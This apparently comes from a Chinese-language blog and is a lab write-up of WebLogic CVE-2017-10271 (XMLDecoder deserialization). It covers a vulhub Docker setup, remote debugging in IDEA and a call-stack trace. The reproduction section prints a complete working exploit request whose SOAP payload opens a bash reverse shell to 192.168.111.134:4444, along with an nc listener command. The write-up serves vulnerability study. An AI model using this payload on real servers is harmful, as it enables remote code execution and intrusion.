weblogic简介

​ Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。
​ Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

版本

一般使用的是10.3.6,这两个大版本也叫WebLogic Server 11g和WebLogic Server 12c。

CVE-2017-10271

原因

​ weblogic “wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中”XMLDecoder”类进行XML反序列化操作引发了代码执行。

XMLDecoder类用于读取使用XMLEncoder创建的XML文档

环境搭建

使用vulhub中的docker搭建复现环境,搭建环境可以参考https://vulhub.org/#/docs/

1
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271

因为要动态调试,需要开启一个远程调试的端口8053,所以将docker-compose.yml文件改动如下

1
2
3
4
5
version: '2'services:  
weblogic: image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"

IDEA远程调试

,关于Weblogic的远程调试方法可以参考:

https://github.com/Maskhe/javasec/blob/master/IDEA%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A72%E2%80%94%E2%80%94%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95.md

使用idea打开拷贝出的项目文件,将项目中的/server/lib和modules这两个文件夹添加到library。

添加后,就会发现里面的.jar和.war的包都可以点开了,并且可以搜索里面的一些类和字符串了。

然后我们在idea中设置remote debug,然后点击右上方的debug,出现如下字样,说明已经配置ok。

1
Connected to the target VM, address: 'localhost:8453', transport: 'socket'

漏洞复现

首先我们复现一下漏洞,在response中我们可以看到命令执行的调用栈。

首先我们开一个nc监听。

1
nc -lvvp 8888

然后直接拿vulhub上的poc打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.111.134/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹shell成功

通过查看response中的xml数据,我们可以在<ns2:frame />标签中看到调用栈。

其中重要的调用栈有如下一些方法:

1
2
3
4
5
6
7
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
- weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
- weblogic.workarea.WorkContextMapImpl->receiveRequest
- weblogic.workarea.WorkContextLocalMap->receiveRequest
- weblogic.workarea.spi.WorkContextEntryImpl->readEntry
- weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF

我们接下来就根据上面复现得到的调用栈进行跟踪调试。

动态调试

根据poc找到问题出在wls-wsat,然后找到对应的wls-wsat.war包,打开后点击web.xml查看有哪些接口

然后我们直接跟踪调用栈的第一个processRequest 方法。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

这里的var1是传进来的XML数据。var3是soap头部解析的结果 不为空 于是 跟入readHeaderOld。

weblogic.wsee.jaxws.workcontext.WorkContextTube

在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,之后跟进receive()

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

var2获取一个WorkContextMapImpl实例,然后调用receiveRequest方法将var1值传入。

继续跟进receiveRequest()

weblogic.workarea.WorkContextMapImpl

将var1传到了receiveRequest()方法中,继续跟进

weblogic.workarea.WorkContextLocalMap

WorkContextEntryImpl.readEntry(var1);对传进来的数据进行处理,具体的代码好像看不太懂,但是跟进!readEntry()!

weblogic.workarea.spi.WorkContextEntryImpl

继续跟进readUTF():

weblogic.wsee.workarea.WorkContextXmlInputAdapter

在这里就执行了this.xmlDecoder.readObject(),对XMLDecoder对象进行了反序列化,导致RCE。

调用栈总结

参考文章

https://hu3sky.github.io/2019/10/16/weblogic/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

http://www.wxylyw.com/2018/11/03/WebLogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.jianshu.com/p/5493f63fd7a0

https://github.com/Maskhe/javasec/blob/master/Weblogic%E4%B9%8BXMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%961%EF%BC%88CVE-2017-3506).md

https://vulhub.org/#/environments/weblogic/CVE-2017-10271/